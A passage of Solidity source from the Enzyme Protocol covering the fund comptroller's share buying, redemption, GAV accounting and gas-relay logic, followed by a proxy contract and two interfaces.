/// @param _denominationAsset The asset in which the fund's value should be denominated
/// @param _sharesActionTimelock The minimum number of seconds between any two "shares actions"
/// (buying or selling shares) by the same user
/// @dev Pseudo-constructor per proxy.
/// No need to assert access because this is called atomically on deployment,
/// and once it's called, it cannot be called again.
function init(address _denominationAsset, uint256 _sharesActionTimelock) external override {
require(getDenominationAsset() == address(0), "init: Already initialized");
require(
IValueInterpreter(getValueInterpreter()).isSupportedPrimitiveAsset(_denominationAsset),
"init: Bad denomination asset"
);
denominationAsset = _denominationAsset;
sharesActionTimelock = _sharesActionTimelock;
}
/// @notice Sets the VaultProxy
/// @param _vaultProxy The VaultProxy contract
/// @dev No need to assert anything beyond FundDeployer access.
/// Called atomically with init(), but after ComptrollerProxy has been deployed.
function setVaultProxy(address _vaultProxy) external override onlyFundDeployer {
vaultProxy = _vaultProxy;
emit VaultProxySet(_vaultProxy);
}
/// @notice Runs atomic logic after a ComptrollerProxy has become its vaultProxy's `accessor`
/// @param _isMigration True if a migrated fund is being activated
/// @dev No need to assert anything beyond FundDeployer access.
function activate(bool _isMigration) external override onlyFundDeployer {
address vaultProxyCopy = getVaultProxy();
if (_isMigration) {
// Distribute any shares in the VaultProxy to the fund owner.
// This is a mechanism to ensure that even in the edge case of a fund being unable
// to payout fee shares owed during migration, these shares are not lost.
uint256 sharesDue = ERC20(vaultProxyCopy).balanceOf(vaultProxyCopy);
if (sharesDue > 0) {
IVault(vaultProxyCopy).transferShares(
vaultProxyCopy,
IVault(vaultProxyCopy).getOwner(),
sharesDue
);
emit MigratedSharesDuePaid(sharesDue);
}
}
IVault(vaultProxyCopy).addTrackedAsset(getDenominationAsset());
// Activate extensions
IExtension(getFeeManager()).activateForFund(_isMigration);
IExtension(getPolicyManager()).activateForFund(_isMigration);
}
/// @notice Wind down and destroy a ComptrollerProxy that is active
/// @param _deactivateFeeManagerGasLimit The amount of gas to forward to deactivate the FeeManager
/// @param _payProtocolFeeGasLimit The amount of gas to forward to pay the protocol fee
/// @dev No need to assert anything beyond FundDeployer access.
/// Uses the try/catch pattern throughout out of an abundance of caution for the function's success.
/// All external calls must use limited forwarded gas to ensure that a migration to another release
/// does not get bricked by logic that consumes too much gas for the block limit.
function destructActivated(
uint256 _deactivateFeeManagerGasLimit,
uint256 _payProtocolFeeGasLimit
) external override onlyFundDeployer allowsPermissionedVaultAction {
// Forwarding limited gas here also protects fee recipients by guaranteeing that fee payout logic
// will run in the next function call
try IVault(getVaultProxy()).payProtocolFee{gas: _payProtocolFeeGasLimit}() {} catch {
emit PayProtocolFeeDuringDestructFailed();
}
// Do not attempt to auto-buyback protocol fee shares in this case,
// as the call is gav-dependent and can consume too much gas
// Deactivate extensions only as-necessary
// Pays out shares outstanding for fees
try
IExtension(getFeeManager()).deactivateForFund{gas: _deactivateFeeManagerGasLimit}()
{} catch {
emit DeactivateFeeManagerFailed();
}
__selfDestruct();
}
/// @notice Destroy a ComptrollerProxy that has not been activated
function destructUnactivated() external override onlyFundDeployer {
__selfDestruct();
}
/// @dev Helper to self-destruct the contract.
/// There should never be ETH in the ComptrollerLib,
/// so no need to waste gas to get the fund owner
function __selfDestruct() private {
// Not necessary, but failsafe to protect the lib against selfdestruct
require(!isLib, "__selfDestruct: Only delegate callable");
selfdestruct(payable(address(this)));
}
////////////////
// ACCOUNTING //
////////////////
/// @notice Calculates the gross asset value (GAV) of the fund
/// @return gav_ The fund GAV
function calcGav() public override returns (uint256 gav_) {
address vaultProxyAddress = getVaultProxy();
address[] memory assets = IVault(vaultProxyAddress).getTrackedAssets();
address[] memory externalPositions = IVault(vaultProxyAddress)
.getActiveExternalPositions();
if (assets.length == 0 && externalPositions.length == 0) {
return 0;
}
uint256[] memory balances = new uint256[](assets.length);
for (uint256 i; i < assets.length; i++) {
balances[i] = ERC20(assets[i]).balanceOf(vaultProxyAddress);
}
gav_ = IValueInterpreter(getValueInterpreter()).calcCanonicalAssetsTotalValue(
assets,
balances,
getDenominationAsset()
);
if (externalPositions.length > 0) {
for (uint256 i; i < externalPositions.length; i++) {
uint256 externalPositionValue = __calcExternalPositionValue(externalPositions[i]);
gav_ = gav_.add(externalPositionValue);
}
}
return gav_;
}
/// @notice Calculates the gross value of 1 unit of shares in the fund's denomination asset
/// @return grossShareValue_ The amount of the denomination asset per share
/// @dev Does not account for any fees outstanding.
function calcGrossShareValue() external override returns (uint256 grossShareValue_) {
uint256 gav = calcGav();
grossShareValue_ = __calcGrossShareValue(
gav,
ERC20(getVaultProxy()).totalSupply(),
10**uint256(ERC20(getDenominationAsset()).decimals())
);
return grossShareValue_;
}
// @dev Helper for calculating a external position value. Prevents from stack too deep
function __calcExternalPositionValue(address _externalPosition)
private
returns (uint256 value_)
{
(address[] memory managedAssets, uint256[] memory managedAmounts) = IExternalPosition(
_externalPosition
)
.getManagedAssets();
uint256 managedValue = IValueInterpreter(getValueInterpreter())
.calcCanonicalAssetsTotalValue(managedAssets, managedAmounts, getDenominationAsset());
(address[] memory debtAssets, uint256[] memory debtAmounts) = IExternalPosition(
_externalPosition
)
.getDebtAssets();
uint256 debtValue = IValueInterpreter(getValueInterpreter()).calcCanonicalAssetsTotalValue(
debtAssets,
debtAmounts,
getDenominationAsset()
);
if (managedValue > debtValue) {
value_ = managedValue.sub(debtValue);
}
return value_;
}
/// @dev Helper for calculating the gross share value
function __calcGrossShareValue(
uint256 _gav,
uint256 _sharesSupply,
uint256 _denominationAssetUnit
) private pure returns (uint256 grossShareValue_) {
if (_sharesSupply == 0) {
return _denominationAssetUnit;
}
return _gav.mul(SHARES_UNIT).div(_sharesSupply);
}
///////////////////
// PARTICIPATION //
///////////////////
// BUY SHARES
/// @notice Buys shares on behalf of another user
/// @param _buyer The account on behalf of whom to buy shares
/// @param _investmentAmount The amount of the fund's denomination asset with which to buy shares
/// @param _minSharesQuantity The minimum quantity of shares to buy
/// @return sharesReceived_ The actual amount of shares received
/// @dev This function is freely callable if there is no sharesActionTimelock set, but it is
/// limited to a list of trusted callers otherwise, in order to prevent a griefing attack
/// where the caller buys shares for a _buyer, thereby resetting their lastSharesBought value.
function buySharesOnBehalf(
address _buyer,
uint256 _investmentAmount,
uint256 _minSharesQuantity
) external returns (uint256 sharesReceived_) {
bool hasSharesActionTimelock = getSharesActionTimelock() > 0;
address canonicalSender = __msgSender();
require(
!hasSharesActionTimelock ||
IFundDeployer(getFundDeployer()).isAllowedBuySharesOnBehalfCaller(canonicalSender),
"buySharesOnBehalf: Unauthorized"
);
return
__buyShares(
_buyer,
_investmentAmount,
_minSharesQuantity,
hasSharesActionTimelock,
canonicalSender
);
}
/// @notice Buys shares
/// @param _investmentAmount The amount of the fund's denomination asset
/// with which to buy shares
/// @param _minSharesQuantity The minimum quantity of shares to buy
/// @return sharesReceived_ The actual amount of shares received
function buyShares(uint256 _investmentAmount, uint256 _minSharesQuantity)
external
returns (uint256 sharesReceived_)
{
bool hasSharesActionTimelock = getSharesActionTimelock() > 0;
address canonicalSender = __msgSender();
return
__buyShares(
canonicalSender,
_investmentAmount,
_minSharesQuantity,
hasSharesActionTimelock,
canonicalSender
);
}
/// @dev Helper for buy shares logic
function __buyShares(
address _buyer,
uint256 _investmentAmount,
uint256 _minSharesQuantity,
bool _hasSharesActionTimelock,
address _canonicalSender
) private locksReentrance allowsPermissionedVaultAction returns (uint256 sharesReceived_) {
// Enforcing a _minSharesQuantity also validates `_investmentAmount > 0`
// and guarantees the function cannot succeed while minting 0 shares
require(_minSharesQuantity > 0, "__buyShares: _minSharesQuantity must be >0");
address vaultProxyCopy = getVaultProxy();
require(
!_hasSharesActionTimelock || !__hasPendingMigrationOrReconfiguration(vaultProxyCopy),
"__buyShares: Pending migration or reconfiguration"
);
uint256 gav = calcGav();
// Gives Extensions a chance to run logic prior to the minting of bought shares.
// Fees implementing this hook should be aware that
// it might be the case that _investmentAmount != actualInvestmentAmount,
// if the denomination asset charges a transfer fee, for example.
__preBuySharesHook(_buyer, _investmentAmount, gav);
// Pay the protocol fee after running other fees, but before minting new shares
IVault(vaultProxyCopy).payProtocolFee();
if (doesAutoProtocolFeeSharesBuyback()) {
__buyBackMaxProtocolFeeShares(vaultProxyCopy, gav);
}
// Transfer the investment asset to the fund.
// Does not follow the checks-effects-interactions pattern, but it is necessary to
// do this delta balance calculation before calculating shares to mint.
uint256 receivedInvestmentAmount = __transferFromWithReceivedAmount(
getDenominationAsset(),
_canonicalSender,
vaultProxyCopy,
_investmentAmount
);
// Calculate the amount of shares to issue with the investment amount
uint256 sharePrice = __calcGrossShareValue(
gav,
ERC20(vaultProxyCopy).totalSupply(),
10**uint256(ERC20(getDenominationAsset()).decimals())
);
uint256 sharesIssued = receivedInvestmentAmount.mul(SHARES_UNIT).div(sharePrice);
// Mint shares to the buyer
uint256 prevBuyerShares = ERC20(vaultProxyCopy).balanceOf(_buyer);
IVault(vaultProxyCopy).mintShares(_buyer, sharesIssued);
// Gives Extensions a chance to run logic after shares are issued
__postBuySharesHook(_buyer, receivedInvestmentAmount, sharesIssued, gav);
// The number of actual shares received may differ from shares issued due to
// how the PostBuyShares hooks are invoked by Extensions (i.e., fees)
sharesReceived_ = ERC20(vaultProxyCopy).balanceOf(_buyer).sub(prevBuyerShares);
require(
sharesReceived_ >= _minSharesQuantity,
"__buyShares: Shares received < _minSharesQuantity"
);
if (_hasSharesActionTimelock) {
acctToLastSharesBoughtTimestamp[_buyer] = block.timestamp;
}
emit SharesBought(_buyer, receivedInvestmentAmount, sharesIssued, sharesReceived_);
return sharesReceived_;
}
/// @dev Helper for Extension actions immediately prior to issuing shares
function __preBuySharesHook(
address _buyer,
uint256 _investmentAmount,
uint256 _gav
) private {
IFeeManager(getFeeManager()).invokeHook(
IFeeManager.FeeHook.PreBuyShares,
abi.encode(_buyer, _investmentAmount),
_gav
);
}
/// @dev Helper for Extension actions immediately after issuing shares.
/// This could be cleaned up so both Extensions take the same encoded args and handle GAV
/// in the same way, but there is not the obvious need for gas savings of recycling
/// the GAV value for the current policies as there is for the fees.
function __postBuySharesHook(
address _buyer,
uint256 _investmentAmount,
uint256 _sharesIssued,
uint256 _preBuySharesGav
) private {
uint256 gav = _preBuySharesGav.add(_investmentAmount);
IFeeManager(getFeeManager()).invokeHook(
IFeeManager.FeeHook.PostBuyShares,
abi.encode(_buyer, _investmentAmount, _sharesIssued),
gav
);
IPolicyManager(getPolicyManager()).validatePolicies(
address(this),
IPolicyManager.PolicyHook.PostBuyShares,
abi.encode(_buyer, _investmentAmount, _sharesIssued, gav)
);
}
/// @dev Helper to execute ERC20.transferFrom() while calculating the actual amount received
function __transferFromWithReceivedAmount(
address _asset,
address _sender,
address _recipient,
uint256 _transferAmount
) private returns (uint256 receivedAmount_) {
uint256 preTransferRecipientBalance = ERC20(_asset).balanceOf(_recipient);
ERC20(_asset).safeTransferFrom(_sender, _recipient, _transferAmount);
return ERC20(_asset).balanceOf(_recipient).sub(preTransferRecipientBalance);
}
// REDEEM SHARES
/// @notice Redeems a specified amount of the sender's shares for specified asset proportions
/// @param _recipient The account that will receive the specified assets
/// @param _sharesQuantity The quantity of shares to redeem
/// @param _payoutAssets The assets to payout
/// @param _payoutAssetPercentages The percentage of the owed amount to pay out in each asset
/// @return payoutAmounts_ The amount of each asset paid out to the _recipient
/// @dev Redeem all shares of the sender by setting _sharesQuantity to the max uint value.
/// _payoutAssetPercentages must total exactly 100%. In order to specify less and forgo the
/// remaining gav owed on the redeemed shares, pass in address(0) with the percentage to forego.
/// Unlike redeemSharesInKind(), this function allows policies to run and prevent redemption.
function redeemSharesForSpecificAssets(
address _recipient,
uint256 _sharesQuantity,
address[] calldata _payoutAssets,
uint256[] calldata _payoutAssetPercentages
) external locksReentrance returns (uint256[] memory payoutAmounts_) {
address canonicalSender = __msgSender();
require(
_payoutAssets.length == _payoutAssetPercentages.length,
"redeemSharesForSpecificAssets: Unequal arrays"
);
require(
_payoutAssets.isUniqueSet(),
"redeemSharesForSpecificAssets: Duplicate payout asset"
);
uint256 gav = calcGav();
IVault vaultProxyContract = IVault(getVaultProxy());
(uint256 sharesToRedeem, uint256 sharesSupply) = __redeemSharesSetup(
vaultProxyContract,
canonicalSender,
_sharesQuantity,
true,
gav
);
payoutAmounts_ = __payoutSpecifiedAssetPercentages(
vaultProxyContract,
_recipient,
_payoutAssets,
_payoutAssetPercentages,
gav.mul(sharesToRedeem).div(sharesSupply)
);
// Run post-redemption in order to have access to the payoutAmounts
__postRedeemSharesForSpecificAssetsHook(
canonicalSender,
_recipient,
sharesToRedeem,
_payoutAssets,
payoutAmounts_,
gav
);
emit SharesRedeemed(
canonicalSender,
_recipient,
sharesToRedeem,
_payoutAssets,
payoutAmounts_
);
return payoutAmounts_;
}
/// @notice Redeems a specified amount of the sender's shares
/// for a proportionate slice of the vault's assets
/// @param _recipient The account that will receive the proportionate slice of assets
/// @param _sharesQuantity The quantity of shares to redeem
/// @param _additionalAssets Additional (non-tracked) assets to claim
/// @param _assetsToSkip Tracked assets to forfeit
/// @return payoutAssets_ The assets paid out to the _recipient
/// @return payoutAmounts_ The amount of each asset paid out to the _recipient
/// @dev Redeem all shares of the sender by setting _sharesQuantity to the max uint value.
/// Any claim to passed _assetsToSkip will be forfeited entirely. This should generally
/// only be exercised if a bad asset is causing redemption to fail.
/// This function should never fail without a way to bypass the failure, which is assured
/// through two mechanisms:
/// 1. The FeeManager is called with the try/catch pattern to assure that calls to it
/// can never block redemption.
/// 2. If a token fails upon transfer(), that token can be skipped (and its balance forfeited)
/// by explicitly specifying _assetsToSkip.
/// Because of these assurances, shares should always be redeemable, with the exception
/// of the timelock period on shares actions that must be respected.
function redeemSharesInKind(
address _recipient,
uint256 _sharesQuantity,
address[] calldata _additionalAssets,
address[] calldata _assetsToSkip
)
external
locksReentrance
returns (address[] memory payoutAssets_, uint256[] memory payoutAmounts_)
{
address canonicalSender = __msgSender();
require(
_additionalAssets.isUniqueSet(),
"redeemSharesInKind: _additionalAssets contains duplicates"
);
require(
_assetsToSkip.isUniqueSet(),
"redeemSharesInKind: _assetsToSkip contains duplicates"
);
// Parse the payout assets given optional params to add or skip assets.
// Note that there is no validation that the _additionalAssets are known assets to
// the protocol. This means that the redeemer could specify a malicious asset,
// but since all state-changing, user-callable functions on this contract share the
// non-reentrant modifier, there is nowhere to perform a reentrancy attack.
payoutAssets_ = __parseRedemptionPayoutAssets(
IVault(vaultProxy).getTrackedAssets(),
_additionalAssets,
_assetsToSkip
);
// If protocol fee shares will be auto-bought back, attempt to calculate GAV to pass into fees,
// as we will require GAV later during the buyback.
uint256 gavOrZero;
if (doesAutoProtocolFeeSharesBuyback()) {
// Since GAV calculation can fail with a revering price or a no-longer-supported asset,
// we must try/catch GAV calculation to ensure that in-kind redemption can still succeed
try this.calcGav() returns (uint256 gav) {
gavOrZero = gav;
} catch {
emit RedeemSharesInKindCalcGavFailed();
}
}
(uint256 sharesToRedeem, uint256 sharesSupply) = __redeemSharesSetup(
IVault(vaultProxy),
canonicalSender,
_sharesQuantity,
false,
gavOrZero
);
// Calculate and transfer payout asset amounts due to _recipient
payoutAmounts_ = new uint256[](payoutAssets_.length);
for (uint256 i; i < payoutAssets_.length; i++) {
payoutAmounts_[i] = ERC20(payoutAssets_[i])
.balanceOf(vaultProxy)
.mul(sharesToRedeem)
.div(sharesSupply);
// Transfer payout asset to _recipient
if (payoutAmounts_[i] > 0) {
IVault(vaultProxy).withdrawAssetTo(
payoutAssets_[i],
_recipient,
payoutAmounts_[i]
);
}
}
emit SharesRedeemed(
canonicalSender,
_recipient,
sharesToRedeem,
payoutAssets_,
payoutAmounts_
);
return (payoutAssets_, payoutAmounts_);
}
/// @dev Helper to parse an array of payout assets during redemption, taking into account
/// additional assets and assets to skip. _assetsToSkip ignores _additionalAssets.
/// All input arrays are assumed to be unique.
function __parseRedemptionPayoutAssets(
address[] memory _trackedAssets,
address[] memory _additionalAssets,
address[] memory _assetsToSkip
) private pure returns (address[] memory payoutAssets_) {
address[] memory trackedAssetsToPayout = _trackedAssets.removeItems(_assetsToSkip);
if (_additionalAssets.length == 0) {
return trackedAssetsToPayout;
}
// Add additional assets. Duplicates of trackedAssets are ignored.
bool[] memory indexesToAdd = new bool[](_additionalAssets.length);
uint256 additionalItemsCount;
for (uint256 i; i < _additionalAssets.length; i++) {
if (!trackedAssetsToPayout.contains(_additionalAssets[i])) {
indexesToAdd[i] = true;
additionalItemsCount++;
}
}
if (additionalItemsCount == 0) {
return trackedAssetsToPayout;
}
payoutAssets_ = new address[](trackedAssetsToPayout.length.add(additionalItemsCount));
for (uint256 i; i < trackedAssetsToPayout.length; i++) {
payoutAssets_[i] = trackedAssetsToPayout[i];
}
uint256 payoutAssetsIndex = trackedAssetsToPayout.length;
for (uint256 i; i < _additionalAssets.length; i++) {
if (indexesToAdd[i]) {
payoutAssets_[payoutAssetsIndex] = _additionalAssets[i];
payoutAssetsIndex++;
}
}
return payoutAssets_;
}
/// @dev Helper to payout specified asset percentages during redeemSharesForSpecificAssets()
function __payoutSpecifiedAssetPercentages(
IVault vaultProxyContract,
address _recipient,
address[] calldata _payoutAssets,
uint256[] calldata _payoutAssetPercentages,
uint256 _owedGav
) private returns (uint256[] memory payoutAmounts_) {
address denominationAssetCopy = getDenominationAsset();
uint256 percentagesTotal;
payoutAmounts_ = new uint256[](_payoutAssets.length);
for (uint256 i; i < _payoutAssets.length; i++) {
percentagesTotal = percentagesTotal.add(_payoutAssetPercentages[i]);
// Used to explicitly specify less than 100% in total _payoutAssetPercentages
if (_payoutAssets[i] == SPECIFIC_ASSET_REDEMPTION_DUMMY_FORFEIT_ADDRESS) {
continue;
}
payoutAmounts_[i] = IValueInterpreter(getValueInterpreter()).calcCanonicalAssetValue(
denominationAssetCopy,
_owedGav.mul(_payoutAssetPercentages[i]).div(ONE_HUNDRED_PERCENT),
_payoutAssets[i]
);
// Guards against corner case of primitive-to-derivative asset conversion that floors to 0,
// or redeeming a very low shares amount and/or percentage where asset value owed is 0
require(
payoutAmounts_[i] > 0,
"__payoutSpecifiedAssetPercentages: Zero amount for asset"
);
vaultProxyContract.withdrawAssetTo(_payoutAssets[i], _recipient, payoutAmounts_[i]);
}
require(
percentagesTotal == ONE_HUNDRED_PERCENT,
"__payoutSpecifiedAssetPercentages: Percents must total 100%"
);
return payoutAmounts_;
}
/// @dev Helper for system actions immediately prior to redeeming shares.
/// Policy validation is not currently allowed on redemption, to ensure continuous redeemability.
function __preRedeemSharesHook(
address _redeemer,
uint256 _sharesToRedeem,
bool _forSpecifiedAssets,
uint256 _gavIfCalculated
) private allowsPermissionedVaultAction {
try
IFeeManager(getFeeManager()).invokeHook(
IFeeManager.FeeHook.PreRedeemShares,
abi.encode(_redeemer, _sharesToRedeem, _forSpecifiedAssets),
_gavIfCalculated
)
{} catch (bytes memory reason) {
emit PreRedeemSharesHookFailed(reason, _redeemer, _sharesToRedeem);
}
}
/// @dev Helper to run policy validation after other logic for redeeming shares for specific assets.
/// Avoids stack-too-deep error.
function __postRedeemSharesForSpecificAssetsHook(
address _redeemer,
address _recipient,
uint256 _sharesToRedeemPostFees,
address[] memory _assets,
uint256[] memory _assetAmounts,
uint256 _gavPreRedeem
) private {
IPolicyManager(getPolicyManager()).validatePolicies(
address(this),
IPolicyManager.PolicyHook.RedeemSharesForSpecificAssets,
abi.encode(
_redeemer,
_recipient,
_sharesToRedeemPostFees,
_assets,
_assetAmounts,
_gavPreRedeem
)
);
}
/// @dev Helper to execute common pre-shares redemption logic
function __redeemSharesSetup(
IVault vaultProxyContract,
address _redeemer,
uint256 _sharesQuantityInput,
bool _forSpecifiedAssets,
uint256 _gavIfCalculated
) private returns (uint256 sharesToRedeem_, uint256 sharesSupply_) {
__assertSharesActionNotTimelocked(address(vaultProxyContract), _redeemer);
ERC20 sharesContract = ERC20(address(vaultProxyContract));
uint256 preFeesRedeemerSharesBalance = sharesContract.balanceOf(_redeemer);
if (_sharesQuantityInput == type(uint256).max) {
sharesToRedeem_ = preFeesRedeemerSharesBalance;
} else {
sharesToRedeem_ = _sharesQuantityInput;
}
require(sharesToRedeem_ > 0, "__redeemSharesSetup: No shares to redeem");
__preRedeemSharesHook(_redeemer, sharesToRedeem_, _forSpecifiedAssets, _gavIfCalculated);
// Update the redemption amount if fees were charged (or accrued) to the redeemer
uint256 postFeesRedeemerSharesBalance = sharesContract.balanceOf(_redeemer);
if (_sharesQuantityInput == type(uint256).max) {
sharesToRedeem_ = postFeesRedeemerSharesBalance;
} else if (postFeesRedeemerSharesBalance < preFeesRedeemerSharesBalance) {
sharesToRedeem_ = sharesToRedeem_.sub(
preFeesRedeemerSharesBalance.sub(postFeesRedeemerSharesBalance)
);
}
// Pay the protocol fee after running other fees, but before burning shares
vaultProxyContract.payProtocolFee();
if (_gavIfCalculated > 0 && doesAutoProtocolFeeSharesBuyback()) {
__buyBackMaxProtocolFeeShares(address(vaultProxyContract), _gavIfCalculated);
}
// Destroy the shares after getting the shares supply
sharesSupply_ = sharesContract.totalSupply();
vaultProxyContract.burnShares(_redeemer, sharesToRedeem_);
return (sharesToRedeem_, sharesSupply_);
}
// TRANSFER SHARES
/// @notice Runs logic prior to transferring shares that are not freely transferable
/// @param _sender The sender of the shares
/// @param _recipient The recipient of the shares
/// @param _amount The amount of shares
function preTransferSharesHook(
address _sender,
address _recipient,
uint256 _amount
) external override {
address vaultProxyCopy = getVaultProxy();
require(msg.sender == vaultProxyCopy, "preTransferSharesHook: Only VaultProxy callable");
__assertSharesActionNotTimelocked(vaultProxyCopy, _sender);
IPolicyManager(getPolicyManager()).validatePolicies(
address(this),
IPolicyManager.PolicyHook.PreTransferShares,
abi.encode(_sender, _recipient, _amount)
);
}
/// @notice Runs logic prior to transferring shares that are freely transferable
/// @param _sender The sender of the shares
/// @dev No need to validate caller, as policies are not run
function preTransferSharesHookFreelyTransferable(address _sender) external view override {
__assertSharesActionNotTimelocked(getVaultProxy(), _sender);
}
/////////////////
// GAS RELAYER //
/////////////////
/// @notice Deploys a paymaster contract and deposits WETH, enabling gas relaying
function deployGasRelayPaymaster() external onlyOwnerNotRelayable {
require(
getGasRelayPaymaster() == address(0),
"deployGasRelayPaymaster: Paymaster already deployed"
);
bytes memory constructData = abi.encodeWithSignature("init(address)", getVaultProxy());
address paymaster = IBeaconProxyFactory(getGasRelayPaymasterFactory()).deployProxy(
constructData
);
__setGasRelayPaymaster(paymaster);
__depositToGasRelayPaymaster(paymaster);
}
/// @notice Tops up the gas relay paymaster deposit
function depositToGasRelayPaymaster() external onlyOwner {
__depositToGasRelayPaymaster(getGasRelayPaymaster());
}
/// @notice Pull WETH from vault to gas relay paymaster
/// @param _amount Amount of the WETH to pull from the vault
function pullWethForGasRelayer(uint256 _amount) external override onlyGasRelayPaymaster {
IVault(getVaultProxy()).withdrawAssetTo(getWethToken(), getGasRelayPaymaster(), _amount);
}
/// @notice Sets the gasRelayPaymaster variable value
/// @param _nextGasRelayPaymaster The next gasRelayPaymaster value
function setGasRelayPaymaster(address _nextGasRelayPaymaster)
external
override
onlyFundDeployer
{
__setGasRelayPaymaster(_nextGasRelayPaymaster);
}
/// @notice Removes the gas relay paymaster, withdrawing the remaining WETH balance
/// and disabling gas relaying
function shutdownGasRelayPaymaster() external onlyOwnerNotRelayable {
IGasRelayPaymaster(gasRelayPaymaster).withdrawBalance();
IVault(vaultProxy).addTrackedAsset(getWethToken());
delete gasRelayPaymaster;
emit GasRelayPaymasterSet(address(0));
}
/// @dev Helper to deposit to the gas relay paymaster
function __depositToGasRelayPaymaster(address _paymaster) private {
IGasRelayPaymaster(_paymaster).deposit();
}
/// @dev Helper to set the next `gasRelayPaymaster` variable
function __setGasRelayPaymaster(address _nextGasRelayPaymaster) private {
gasRelayPaymaster = _nextGasRelayPaymaster;
emit GasRelayPaymasterSet(_nextGasRelayPaymaster);
}
///////////////////
// STATE GETTERS //
///////////////////
// LIB IMMUTABLES
/// @notice Gets the `DISPATCHER` variable
/// @return dispatcher_ The `DISPATCHER` variable value
function getDispatcher() public view returns (address dispatcher_) {
return DISPATCHER;
}
/// @notice Gets the `EXTERNAL_POSITION_MANAGER` variable
/// @return externalPositionManager_ The `EXTERNAL_POSITION_MANAGER` variable value
function getExternalPositionManager()
public
view
override
returns (address externalPositionManager_)
{
return EXTERNAL_POSITION_MANAGER;
}
/// @notice Gets the `FEE_MANAGER` variable
/// @return feeManager_ The `FEE_MANAGER` variable value
function getFeeManager() public view override returns (address feeManager_) {
return FEE_MANAGER;
}
/// @notice Gets the `FUND_DEPLOYER` variable
/// @return fundDeployer_ The `FUND_DEPLOYER` variable value
function getFundDeployer() public view override returns (address fundDeployer_) {
return FUND_DEPLOYER;
}
/// @notice Gets the `INTEGRATION_MANAGER` variable
/// @return integrationManager_ The `INTEGRATION_MANAGER` variable value
function getIntegrationManager() public view override returns (address integrationManager_) {
return INTEGRATION_MANAGER;
}
/// @notice Gets the `MLN_TOKEN` variable
/// @return mlnToken_ The `MLN_TOKEN` variable value
function getMlnToken() public view returns (address mlnToken_) {
return MLN_TOKEN;
}
/// @notice Gets the `POLICY_MANAGER` variable
/// @return policyManager_ The `POLICY_MANAGER` variable value
function getPolicyManager() public view override returns (address policyManager_) {
return POLICY_MANAGER;
}
/// @notice Gets the `PROTOCOL_FEE_RESERVE` variable
/// @return protocolFeeReserve_ The `PROTOCOL_FEE_RESERVE` variable value
function getProtocolFeeReserve() public view returns (address protocolFeeReserve_) {
return PROTOCOL_FEE_RESERVE;
}
/// @notice Gets the `VALUE_INTERPRETER` variable
/// @return valueInterpreter_ The `VALUE_INTERPRETER` variable value
function getValueInterpreter() public view returns (address valueInterpreter_) {
return VALUE_INTERPRETER;
}
/// @notice Gets the `WETH_TOKEN` variable
/// @return wethToken_ The `WETH_TOKEN` variable value
function getWethToken() public view returns (address wethToken_) {
return WETH_TOKEN;
}
// PROXY STORAGE
/// @notice Checks if collected protocol fee shares are automatically bought back
/// while buying or redeeming shares
/// @return doesAutoBuyback_ True if shares are automatically bought back
function doesAutoProtocolFeeSharesBuyback() public view returns (bool doesAutoBuyback_) {
return autoProtocolFeeSharesBuyback;
}
/// @notice Gets the `denominationAsset` variable
/// @return denominationAsset_ The `denominationAsset` variable value
function getDenominationAsset() public view override returns (address denominationAsset_) {
return denominationAsset;
}
/// @notice Gets the `gasRelayPaymaster` variable
/// @return gasRelayPaymaster_ The `gasRelayPaymaster` variable value
function getGasRelayPaymaster() public view override returns (address gasRelayPaymaster_) {
return gasRelayPaymaster;
}
/// @notice Gets the timestamp of the last time shares were bought for a given account
/// @param _who The account for which to get the timestamp
/// @return lastSharesBoughtTimestamp_ The timestamp of the last shares bought
function getLastSharesBoughtTimestampForAccount(address _who)
public
view
returns (uint256 lastSharesBoughtTimestamp_)
{
return acctToLastSharesBoughtTimestamp[_who];
}
/// @notice Gets the `sharesActionTimelock` variable
/// @return sharesActionTimelock_ The `sharesActionTimelock` variable value
function getSharesActionTimelock() public view returns (uint256 sharesActionTimelock_) {
return sharesActionTimelock;
}
/// @notice Gets the `vaultProxy` variable
/// @return vaultProxy_ The `vaultProxy` variable value
function getVaultProxy() public view override returns (address vaultProxy_) {
return vaultProxy;
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
import "../../../utils/NonUpgradableProxy.sol";
/// @title ComptrollerProxy Contract
/// @author Enzyme Council <[email protected]>
/// @notice A proxy contract for all ComptrollerProxy instances
contract ComptrollerProxy is NonUpgradableProxy {
constructor(bytes memory _constructData, address _comptrollerLib)
public
NonUpgradableProxy(_constructData, _comptrollerLib)
{}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
import "../vault/IVault.sol";
/// @title IComptroller Interface
/// @author Enzyme Council <[email protected]>
interface IComptroller {
function activate(bool) external;
function calcGav() external returns (uint256);
function calcGrossShareValue() external returns (uint256);
function callOnExtension(
address,
uint256,
bytes calldata
) external;
function destructActivated(uint256, uint256) external;
function destructUnactivated() external;
function getDenominationAsset() external view returns (address);
function getExternalPositionManager() external view returns (address);
function getFeeManager() external view returns (address);
function getFundDeployer() external view returns (address);
function getGasRelayPaymaster() external view returns (address);
function getIntegrationManager() external view returns (address);
function getPolicyManager() external view returns (address);
function getVaultProxy() external view returns (address);
function init(address, uint256) external;
function permissionedVaultAction(IVault.VaultAction, bytes calldata) external;
function preTransferSharesHook(
address,
address,
uint256
) external;
function preTransferSharesHookFreelyTransferable(address) external view;
function setGasRelayPaymaster(address) external;
function setVaultProxy(address) external;
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
import "../../../../persistent/vault/interfaces/IExternalPositionVault.sol";
import "../../../../persistent/vault/interfaces/IFreelyTransferableSharesVault.sol";
import "../../../../persistent/vault/interfaces/IMigratableVault.sol";
/// @title IVault Interface
/// @author Enzyme Council <[email protected]>
interface IVault is IMigratableVault, IFreelyTransferableSharesVault, IExternalPositionVault {
enum VaultAction {
None,
// Shares management
BurnShares,
MintShares,
TransferShares,
// Asset management
AddTrackedAsset,
ApproveAssetSpender,
RemoveTrackedAsset,
WithdrawAssetTo,
// External position management
AddExternalPosition,
CallOnExternalPosition,
RemoveExternalPosition
}
function addTrackedAsset(address) external;
function burnShares(address, uint256) external;
function buyBackProtocolFeeShares(
uint256,
uint256,
uint256
) external;
